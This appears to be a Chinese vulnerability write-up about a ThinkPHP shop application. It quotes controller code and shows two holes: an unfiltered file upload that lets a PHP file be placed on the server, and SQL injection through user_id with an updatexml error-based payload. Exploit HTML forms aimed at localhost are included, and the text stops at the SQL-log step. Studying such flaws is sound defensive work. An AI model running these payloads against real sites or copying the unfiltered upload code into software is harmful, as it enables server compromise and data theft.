定位到Application/Home/Controller/AppUploadController.class.php:
namespace Home\Controller;
use Think\Controller;
class AppUploadController extends Controller{
public function commentUpload(){
$user_id=$_POST['user_id'];
$goods_id=$_POST['goods_id'];
$order_id=$_POST['order_id'];
if($_FILES) {
$filename = $_FILES['img']['name'];
$tmpname = $_FILES['img']['tmp_name'];
if (move_uploaded_file($tmpname, './Uploads/show/' . $filename)) {
$path['path']='/Uploads/show/' . $filename;
$path['create_time']=time();
$r=M('images')->add($path);
$show_pic=M('order_comment')->where([
'goods_id'=>$goods_id
])->getField('show_pic');
if(!empty($show_pic)) {
$show['show_pic'] = $show_pic . ',' . $r;
M('order_comment')->where([
'goods_id' => $goods_id,
'order_id'=>$order_id,
'user_id'=>$user_id
])->save($show);
}else{
$show['show_pic'] = $r;
M('order_comment')->where([
'goods_id' => $goods_id,
'order_id'=>$order_id,
'user_id'=>$user_id
])->save($show);
}
} else {
$data = json_encode($_FILES);
echo $data;
}
}
}
public function headerUpload(){
$user_id=$_POST['user_id'];
if($_FILES) {
$filename = $_FILES['img']['name'];
$tmpname = $_FILES['img']['tmp_name'];
if (move_uploaded_file($tmpname,'./Uploads/header/' . $filename)) {
$head_img['user_header']='/Uploads/header/' . $filename;
$head_img['user_id']=$user_id;
$find = M('user_header')->where(array('user_id' => $user_id))->find();
if (!empty($find)) {//则数据库里已存在头像
M('user_header')->where('user_id=%s',$user_id)->save($head_img);
} else {//数据库里不存在头像
M('user_header')->add($head_img);
}
echo json_encode('上传成功');
} else {
$data = json_encode($_FILES);
echo $data;
}
}
}
}
接受到文件后,没有过滤的直接进行了move_uploaded_file
。
public function commentUpload(){
...
$filename = $_FILES['img']['name'];
$tmpname = $_FILES['img']['tmp_name'];
if (move_uploaded_file($tmpname, './Uploads/show/' . $filename))
...
}
public function headerUpload(){
...
$filename = $_FILES['img']['name'];
$tmpname = $_FILES['img']['tmp_name'];
if (move_uploaded_file($tmpname,'./Uploads/header/' . $filename))
...
因此直接构造表单,以commentUpload
为例:
<html>
<body>
<form action="http://127.0.0.1/index.php/Home/AppUpload/commentUpload" method="post"
enctype="multipart/form-data">
<input type="file" name="img" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
直接上传phpinfo.php,之后访问 http://127.0.0.1/Uploads/show/phpinfo.php
官网demo
观察一下上面代码中的sql查询语句,在headerUpload函数中:
public function headerUpload(){
$user_id=$_POST['user_id'];
if($_FILES) {
...
if (move_uploaded_file($tmpname,'./Uploads/header/' . $filename)) {
...
if (!empty($find)) {//则数据库里已存在头像
M('user_header')->where('user_id=%s',$user_id)->save($head_img);
}
...
}
...
}
}
首先user_id
是可控的。我们跟进tp的where
方法,定义在 Core/Library/Think/Model.class.php:1783
public function where($where,$parse=null){
if(!is_null($parse) && is_string($where)) {
if(!is_array($parse)) {
$parse = func_get_args();
array_shift($parse);
}
$parse = array_map(array($this->db,'escapeString'),$parse);
$where = vsprintf($where,$parse);
}
此时传入的参数parse
即可控的$user_id
,然后通过vsprintf($where,$parse)
将其格式化输出到where语句中。这里并没有严格的对数据类型进行检验,虽然前面存在escapeString
的过滤,但只要不引入引号即可。
要进入该if判断中,需要满足!empty($find)
,也即数据库里已存在头像。因此可以先前台注册一个用户,登陆后在cookie字段获取到对应的user_id,如图所示user_id=275。
在个人资料处先上传一张头像
确保上传成功后。选择打开下面的exp.html上传,并抓包:
<html>
<body>
<form action="http://127.0.0.1/index.php/Home/AppUpload/headerUpload" method="post"
enctype="multipart/form-data">
<input type="file" name="img" id="file" />
<input type="text" name="user_id" value="275">
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
在user_id后添加payload,比如or updatexml(1,concat(0x7e,(user())),0)
查看sql日志: